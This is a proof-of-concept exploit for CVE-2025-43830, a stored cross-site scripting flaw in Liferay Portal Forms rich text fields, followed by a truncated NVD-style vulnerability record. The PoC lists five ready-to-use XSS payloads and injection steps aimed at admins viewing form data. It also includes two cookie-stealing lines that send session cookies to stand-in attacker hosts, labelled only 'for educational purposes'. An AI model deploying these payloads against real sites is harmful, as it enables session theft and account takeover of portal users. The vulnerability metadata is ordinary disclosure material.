CVE-2025-43830

<!-- CVE-2025-43830: Liferay Portal Forms Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in Liferay Forms rich text fields --> <!-- Payload 1: Using img tag with onerror event handler --> <img src=x onerror="alert('XSS-CVE-2025-43830');document.location='http://attacker.com/steal?cookie='+document.cookie"> <!-- Payload 2: Using script tag directly --> <script>alert('Stored XSS in Liferay Forms');</script> <!-- Payload 3: Using svg tag with onload event --> <svg onload="alert(document.domain)"> <!-- Payload 4: Using iframe to load malicious content --> <iframe src="javascript:alert('XSS')"></iframe> <!-- Payload 5: Using anchor tag with javascript pseudo-protocol --> <a href="javascript:void(0)" onclick="alert('XSS')">Click me</a> <!-- Steps to reproduce: 1. Navigate to a Liferay Portal page containing a Form with a Rich Text field 2. Inject one of the above payloads into the Rich Text field 3. Submit the form 4. When another user (especially admin) views the form data or page, the script executes --> // JavaScript payload for cookie stealing (for educational purposes only) var img = new Image(); img.src = "http://attacker-server.com/collect?cookie=" + encodeURIComponent(document.cookie) + "&url=" + encodeURIComponent(document.location.href);

{"cve": {"id": "CVE-2025-43830", "sourceIdentifier": "[email protected]", "published": "2025-10-08T14:15:43.507", "lastModified": "2025-12-12T20:44:46.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored cross-site scripting (XSS) vulnerability in Forms in Liferay Portal 7.3.2 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, 7.4 GA through update 92, and 7.3 GA through update 35 allows remote attackers to inject arbitrary web script or HTML via a crafted payload injected into a form with a rich text type field."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": 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